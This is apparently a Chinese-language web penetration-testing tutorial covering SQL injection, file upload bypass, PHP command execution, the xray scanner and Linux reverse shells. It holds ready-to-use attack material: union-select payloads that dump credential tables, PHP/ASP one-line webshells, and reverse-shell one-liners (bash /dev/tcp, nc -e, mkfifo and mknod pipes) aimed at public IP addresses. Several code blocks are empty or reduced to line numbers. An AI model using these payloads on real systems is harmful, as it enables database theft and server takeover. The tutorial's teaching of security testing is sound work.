渗透基础
[TOC]
渗透基础
由于现在的网站有WAF,并且有一些是基于框架的,所以现在这些漏洞都不是很常见
如果有的话,也有可能得到的数据都是强加密过的数据,得到了也没有什么用
web安全-基础环境搭建
web安全-sql注入
sql简介
什么是sql
SQL是一种数据库查询和程序设计语言。用于存取数据以及查询、更新和管理关系数据库系统。
常见的SQL数据库有MySQL,SQL server,Oracle、Sybase、db2….不同的数据库所使用的SQL语句也
不一样。
mysql的数据结构
数据库中包含表,表是由列组成,表的数据存储方式是按行存储。
mysql语句
select
用于从表中选取数据。结果被存储在一个结果表中(称为结果集)。
1
2
3
4# 语法:
SELECT 列名 FROM 表名
SELECT * FROM 表名insert info
用于向表中插入新的行
1
2
3
4# 语法:
INSERT INTO 表名称 VALUES (值1, 值2,....)
INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)delete
用于删除表中的行
1
2
3
4# 语法:
DELETE FROM 表名称 WHERE 列名称 = 值
DELETE * FROM 表名称updatte
用于修改表中的数据
1
2
3# 语法:
UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值oder by
用于对结果集进行排序。
用于根据指定的列对结果集进行排序。
默认按照升序对记录进行排序;
按照降序对记录排序,使用DESC关键字;
order by 排序列数大于当前查询的列数时就会报错;
sql注入利用这个特性来判断列数以及显示位。
where
1
2
3
4# 有条件地从表中选取数据
# 语法:
SELECT 列名称 FROM 表名称 WHERE 列 运算符 值AND 和 OR运算符
AND 和 OR 可在 WHERE 子语句中把两个或多个条件结合起来。
如果第一个条件和第二个条件都成立,则 AND 运算符显示一条记录。
如果第一个条件和第二个条件中只要有一个成立,则 OR 运算符显示一条记录
注释符
注释符可以替代空格
有些时候可能对方不接受空格,所以使用注释符的形式
内联注入
/!/!*/
/* */ 在mysql中是多行注释 但是如果里面加了! 那么后面的内容会被执行
连接
数据库的连接
1
2
3# 格式 mysql -u 用户名 -p 密码 -h 主机地址
mysql –uroot -proot -h 127.0.0.1列出当前的mysql的相关状态信息
1
status;
显示所有的数据库
1
show databases;
打开数据库
1
use mysql
显示数据表
1
show tables
显示表结构
1
2
3
4
5# 格式:describe 数据表名;
describe user;
# 格式:show columns from 数据表名;
show columns from user;清空数据表
1
2
3
4
5# 格式:delete from 数据表名;
delete from test01;
# 格式:truncate table 数据表名;
truncate table test01;显示表的创建过程
1
2
3# 格式:show create table 表名;
show create table user;删除表
1
2
3# 格式:drop table 数据表;
drop table test01;退出数据库连接
1
exit
mysql的系统表
- information_schema
在 MySQL中,把 information_schema 看作是一个数据库,确切说是信息数据库。其中保存着关于 MySQL 服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权 限等。
SCHEMATA 表:提供了当前mysql实例中所有数据库的信息。 show databases*;* 的结果取之此表。
TABLES 表:提供了关于数据库中的表的信息。详细表述了某个表属于哪个schema,表类型,表引擎,创建 时间等信息。
show tables from schemaname; (schemaname为指定数据库名**)**的结果取之此表。
COLUMNS 表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。 show columns from schemaname.tablename; (schemaname为指定数据库名**,** tablename为指定数据 库下的数据表名)的结果取之此表。
mysql注入的原理
什么是sql注入
利用现有应用程序,将恶意的SQL命令注入到程序后台并在数据库引擎执行的能力。 SQL注入漏洞是由于WEB应用程序对用户输入的数据合法性判断不严格导致。
攻击者把SQL命令语句作为输入被服务器SQL解释器正确解析执行,数据库把查询到的结果返回给服 务器,然后呈现给攻击者,攻击者由此获得数据库内的数据信息。
一次正常的HTTP请求分析
一次正常的sql注入分析
sql注入判断
根据客户端返回的结果来判断提交的测试语句是否成功被数据库引擎执行,如果测试语句被执行了, 说明存在注入漏洞。
俗话就是说,只要我们可以进行sql语句那么就存在漏洞
sql注入的分类
按参数类型的分类
数字型(没有引号闭合)
字符型(双引号)
搜索型(使用百分号)
按数据库返回的结果分类
回显注入
报错注入
盲注
- 基于布尔的盲注
- 基于时间的盲注
按注入点位置分类
GET注入
POST注入
Cookie注入
Header注入
详解
按参数类型分类
参数类型主要有两种:数字型、字符型。
在SQL查询语句中,数据库查询类型有以下三种:数字型、字符型、搜索型。
数字型
SQL= “select name from users where id=1” 为典型的数字型注入
这种类型的注入参数为数字,在 users 表中查询用户输入的 id 值相对应的 name 的值
1
2
3
4
5and逻辑测试:
and 1=1 sql语句: select name from users where id=1 and 1=1
and 1=2 sql语句: select name from users where id=1 and 1=2
通过比较页面的变化判断输入是否被带入数据库执行有可能在执行1=2的时候会报错,下面是具体的演示,请注意url的变化
当我输入
?id=1’ and 1=2 –+
当我输入
?id=1’ and 1=1 –+
会发现,网站执行了我们输入的 and ……这种附加的mysql语句,所以存在漏洞,当然不同的类型检查原理都一样,只是输入的参数不一样,我们这里输入的是
'
,由此可见这是字符型字符型
SQL=”select name from users where id=’1’ “
字符型与数字型的不同:注入参数被引号包裹。 构造参数传递:
1
2
3
4
5
6
7
8
91 and 1=1
SQL语句: select name from users where id='1 and 1=1'
1' and '1'='1
SQL语句: select name from users where id='1' and '1'='1'
1' and 1=1 #
SQL语句: select name from users where id='1' and 1=1 #'
1' and 1=2 #
SQL语句: select name from users where id='1' and 1=2 #'搜索型
SQL= “select * from users where name like ‘%tom%’ “
只是换了一个符号
搜索型与字符型相比多了一对 %
1
2
3
4
5
61 and 1=1
SQL查询语句为:select * from users where id like '%1 and 1=1%'
这个输入显然会报错误。
1%'1 and '%1%'' = '%1
SQL查询语句:select * from users where name like '%tom%' and '%1%' = '%1%'
这里我们用 '% 来闭合 %' ,如果存在漏洞,返回正常信息。注意: % 的URL编码为 %25 ,空格 “ “ 的URL编码为 %20,如果发现没有我们输入的 % ,则我们可 以手工添加编码 %25。
按数据库返回结果分类
回显注入
在注入点的当前页面中获取返回结果。
常用SQL注入测试代码:
1
2
31 or 1=1
1' or '1=1
1' or '1=2代码原理:利用逻辑运算符or 的运算原理,只要其中一个条件满足为真,则为真,而1=1恒等式恒为 真,因此如果上面三个代码输入之后页面显示结果都为正常,则我们可以判断此页面存在SQL注入漏 洞
报错注入
程序将数据库的返回错误信息直接显示在页面中,虽然没有返回数据库的查询结果,但是可以通过构 造一些报错语句从数据库返回并显示的错误信息中获取想要的结果。
在SQLServer中通常错误的查询会返回一些错误信息,在mysql中正常情况下是没有错误信息返回
的,但可以通过其他的方式进行错误信息的提取。
盲注
由于程序后端限制数据库返回错误信息,因此查询错误或没有结果时是没有信息返回的,可以通过数 据库的查询逻辑和延时函数来对注入的结果进行判断。
根据注入表现形式的不同,盲注又分为Based boolean和Based time两种类型。
Based boolean:基于布尔的盲注,其主要表现特征有:
一是无报错信息返回;
二是无论输入是正确还是错误,都只会显示两种情况(1 或 0)(ture 或 false);
三是在输入正确时,可通过输入 and 1=1、and 1=2 判断。
Based time:基于Boolean的盲注可以在页面上看到正确或错误的回显,但是基于time的盲注是看不到 的。
判断:通过”时间”条件进行特定的输入,判断后台执行SQL语句的时间来判断是否存在盲注。 比如 m’ and sleep(5) # 语句,通过页面显示的时间来判断是否存在基于时间的盲注。 可以通过在mysql语句中使用if构造查询语句。
m’ and if ((substr((select database()),1,1))=’a’,sleep(5),null) #
通过substr对查询到的database()结果截取第一位的值,判断其否等于a,如果等于则判断为真,执行 sleep(5),如果不等于则判断为假,则null, 然后通过sleep(5)执行后的时间来确认所查询的值是否正确, 遍历出所有的值。
按注入的位置分类
HTTP 定义了与服务器交互的不同方法,其中最基本的方法就是 GET 和 POST 。 GET 方式在客户端通过 URL 提交数据,数据在 URL 中可以看到;
POST 方式,数据放置在 Body 内提交,数据在 URL 中看不到。
sql注入利用
显错注入的流程
01、获取字段数 order by x
02、获取显示位 union select 1,2,3,4……
03、获取数据库信息 version(),user(),@@datadir
04、获取当前数据库 database(), schema()
05、获取所有数据库
06、获取数据库表
07、获取所有字段
08、获取数据
判断是否存在sql的漏洞和存在什么形式的漏洞
?id=1’
使用
'
发现存在是字符型,接下来检查是否存在漏洞,使用and 1=1上面是使用 and 1=1 的结果,避免字符型的,只读前面造成的正确却访问接下来来看and 1=2
已经出现了错误,说明执行了我们插入了语句,存在漏洞
获取字段数
使用order by x进行判断当前的数据库有几行数据
建议这里可以使用脚本跑
获取显示位
由于我们传入的
?id=1
会进行显示,所以我们让我们传入的id 不显示
? id=-1’ union select 1,2,3 –+
--+
用于注释多出来的'
可以发现2,3经行输出了,所以我们,针对2,3显示,显示我们想要查到的数据
得到了数据库的拥有者,和当前的数据库版本
获取当前的数据库
?id=-1’ union select 1,database(),3–+
查看所有的数据库
?id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata–+
查找某一个表的信息
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() –+
获取表中的所有字段
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=”users” –+
获取数据
?id=-1’ union select 1,group_concat(username),group_concat(password) from users–+
得到用户和密码,完成漏洞的挖掘
others知识点
concat、concat_ws、group_concat 区别
concat
作用:将多个字符串连接在一起
语法:concat(str1,str2,…)
concat_ws
作用: 和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就 是concat with separator)
语法:concat_ws(separator, str1, str2, …)
group_concat
- 作用: 将group by产生的同一个分组中的值连接起来,返回一个字符串结果。
- 语法:group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator ‘分隔符’] )
web安全-文件上传
什么是文件上传
将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端 硬盘上作为真实的文件保存。
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器收到请求并同 意后,用户与Web服务器将建立连接,并传输数据。
什么是文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的 能力。这种攻击方式是最为直接和有效的,”文件上传”本身没有问题,有问题的是文件上传后,服务 器怎么处理、解释文件。如果服务器端脚本语言未对上传的文件进行严格的验证和过滤,就容易造成 上传任意文件的情况。
通常 Web 站点会有用户注册功能,而当用户登录之后大多数情况下会存在类似头像上传、附件上传之 类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,导致攻击者通过各种手段绕过验 证,上传非法文件,这是在web渗透中非常关键的突破口。
文件上传检测方式
什么是webshell
WebShell就是以ASP、PHP、JSP或者CGI等网页文件形式存在的一种命令执行环境,也可以将其称之 为一种网页后门。攻击者在入侵了一个网站后,通常会将这些asp或php后门文件与网站服务器web目 录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控
制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)
常用的一句话webshell
php一句话木马:
asp一句话木马: <%**eval** **request**(“value”)%>
aspx一句话木马: <%@ Page Language=”Jscript”%><%**eval**(Request.Item[“value”])%>
制作一句话图片马:copy 1.jpg/b+1.php/a 2.jpg
webshell原理
1 |
|
php的代理需要写在里面
@是不要报错
php里面有几个超全局变量,$ _GET、$ _POST就是其中之一,意思是用 post 的方法接收变量 cmd传递来的字符。
eval()
把字符作为php执行
exec()
执行外部的命令,并且返回结果
system()
执行系统的命令
文件上传绕过
绕过客户端检测(JS检测)
原理:通常在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和
扩展名是否合法。
方法:在本地浏览器客户端禁用JS即可;可使用火狐浏览器的Noscript插件、IE中禁用JS等方式实
现,利用burpsuite可以绕过一切客户端检测。
绕过服务端检测
服务端检测
服务端的代码通常检测三个点:MIME类型、文件内容、文件后缀
绕过MIME类型检测
原理:检测图片类型文件上传过程中http包的Content-Type字段的值,来判断上传文件是否合法。 方法:用burpsuite截取并修改数据包中文件的content-type类型进行绕过。
绕过文件后缀检测-黑名单
黑名单策略:
文件扩展名在黑名单中为不合法,一般有个专门的黑名单列表,里面会包含常见的危险脚本文件。
后缀大小写绕过
绕过文件后缀检测
绕过文件内容检测
文件解析漏洞
apache解析漏洞
Nginx解析漏洞
IIS6.0解析漏洞
IIS 7.0/7.5解析漏洞
web安全-命令执行
命令执行的漏洞简介
原因
因为没有对用户输入没有严格的过滤,导致用户的输入当作命令
危害
继承web服务器的权限去执行命令
反弹shell
获得目标服务器的权限
进一步内网渗透
可以远程执行代码
因为业务需求,在PHP中有时需要调用一些执行命令的函数,如:**eval()、assert()、 preg_replace()、create_function()**等,如果存在一个使用这些函数且未对可被用户控制的参数
进行检查过滤的页面,那么这个页面就可能存在远程代码执行漏洞。
php代码执行函数
eval()
把字符串作为代码执行
1
eval (string $code)
1
<?php @eval($_POST['cmd']);?>
注意:eval() 函数传入的参数必须为PHP代码,即要以分号结尾;
函数eval()语言结构是非常危险的, 因为它允许执行任意 PHP 代码。不要允许传入任何由用户提供 的、未经完整验证过的数据 。
assert()
1
assert ( mixed $assertion [, string $description ] )
1
<?php @assert($_POST['cmd'])?>
检查一个断言是否为 FALSE
注意:assert()函数是直接将传入的参数当成PHP代码执行,不需要以分号结尾
call_user_func ()
1 |
|
1 |
|
- call_user_func_array
1 |
|
1 |
|
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传 入。
调用回调函数,并把一个数组参数作为回调函数的参数
系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们 常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界 面,用户从web界面输入目标IP,提交后后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交恶 意命令,让后台进行执行,从而获得后台服务器权限。
利用PHP 的系统命令执行函数来调用系统命令并执行,这类函数有 system()、exec()、shell_exec()、 passthru()、penti_exec()、popen()、proc_pen()等,此外还有反引号命令执行,这种方式实际上是调 用 shell_exec()函数来执行。
php系统命令执行函数
php提供的专门执行外部命令的函数
exec()
system()
passthru()
shell_exec()
- exec ()
1 |
|
执行一个外部程序,exec() 执行 command 参数所指定的命令。
exec执行系统外部命令时**不会输出结果**,而是返回结果的最后一行。如果想得到结果,可以使用第二 个参数,让其输出到指定的数组。此数组一个记录代表输出的一行。即如果输出结果有20行,则这个 数组就有20条记录,所以如果需要反复输出调用不同系统外部命令的结果,最好在输出每一条系统外 部命令结果时清空这个数组unset($output),以防混乱。第三个参数用来取得命令执行的状态码, 通常执行成功都是返回0。
1 |
|
system()
1
system ( string $command [, int &$return_var ] )
函数执行 command 参数所指定的命令, 并且输出执行结果。
system和exec的区别在于,system在执行系统外部命令时,直接将结果输出到浏览器,如果执行命令
成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
1
2
3
4
5
6
7
8
9
10
11
12
13<?php
echo '<pre>';
// 输出 shell 命令 "ls" 的返回结果
// 并且将输出的最后一样内容返回到 $last_line。
// 将命令的返回值保存到 $retval。
$last_line = system('ls', $retval);
// 打印更多信息
echo '
</pre>
<hr />Last line of the output: ' . $last_line . '
<hr />Return value: ' . $retval;
?>
命令常用的特殊字符
web安全-漏洞扫描器
XRAY
xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:
检测速度快:发包速度快; 漏洞检测算法高效。
支持范围广:大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。
代码质量高:编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代 码可靠性。
高级可定制:通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。
安全无威胁:xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。
爬虫模式
# 完整
xray.exe webscan –basic-crawler http://testphp.vulnweb.com/ –html-outputvulnweb.com-1.html
# 简化
xray.exe ws –basic http://testphp.vulnweb.com/ –ho vulnweb.com-2.html
被动扫描
生成CA证书
xray.exe genca
浏览器代理
web安全-linux反弹shell
linux文件描述符
文件描述符是一个非负整数,内核需要通过这个文件描述符才可以访问文件 文件描述符好比一本书的目录(索引),通过这个索引可以找到需要的内容 在Linux系统中内核默认为每个进程创建三个标准的文件描述符:0(标准输入)、1(标准输出)、2(标准错误)
通过查看 /proc/PID/fd
目录下的文件,就可以查看每个进程拥有的所有文件描述符
255是一个小技巧,bash用于在重定向时保留这些副本
当打开文件时,系统内核会为特定的进程自动创建对应的文件描述符,也就是说每一个进程的输入输出error不一样,不同的进程打开同一个文件时,它们的文件描述符可能不同,但同一个进程打开同一个文件时,它们的文件描述符是相同的。
linux文件描述符操作
以下操作只针对某一个进程
更改标准输出位置
1
exec 1> test
/dev/null
特殊文件,写入的任何东西都会被清空
bash反弹shell
bash反弹shell,只针对bash
由于外网机无法访问到内网机,但是内网机能ping外网机,于是使用反弹shell的方式,帮助外网机获得内网机的shell得到
反弹shell,就是可以理解为,外网可以执行内网机的shell,这里是bash
第一步首先让控制端监听端口
nc -lvvp 6666(端口)
第二步
bash -i >& /dev/tcp/被控端ip/与控制端相同的端口 0>&1
0>&1的意思是,本地的输出也输出给控制端,有点像发送信息
参数讲解
bash -i 打开一个交互式的bash shell。
/dev/tcp/IP/PORT
/dev/tcp/是Linux中的一个特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是 bash 实现的用来实现网络请求的一个接口。 打开这个文件就相当于发起了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket 连接中传输数据。
/dev/tcp/192.168.81.154/6666
和192.168.81.154的6666端口建立TCP连接
Linux反弹shell的方法
NC
NC正向反弹
正向的意思,由控制端主动发出请求,用于控制端能连接上被控端就行
但是注意有可能nc不支持-e参数
被控端:
nc -lvvp 6666 -e /bin/sh
控制端:
nc 10.10.1.7 6666
原
理:
被控端使用nc将/bin/sh绑定到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell
NC反向shell
当被控端能够访问控制端的时候使用
控制端:
nc -lvvp 6666
被控端:
nc -e /bin/sh 10.10.1.11 6666
原理:
被控端使用nc将/bin/sh发送到控制端的6666端口,控制端只需要监听本地的6666端口,即可获得shell。
无e参数,反弹shell,有些情况下nc 指令没有-e的参数,就是用下面的命令
1
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 139.155.49.43 6666 >/tmp/f
mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的 命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。
1
mknod backpipe p; nc 47.101.214.85 6666 0<backpipe | /bin/bash 1>backpipe 2>backpipe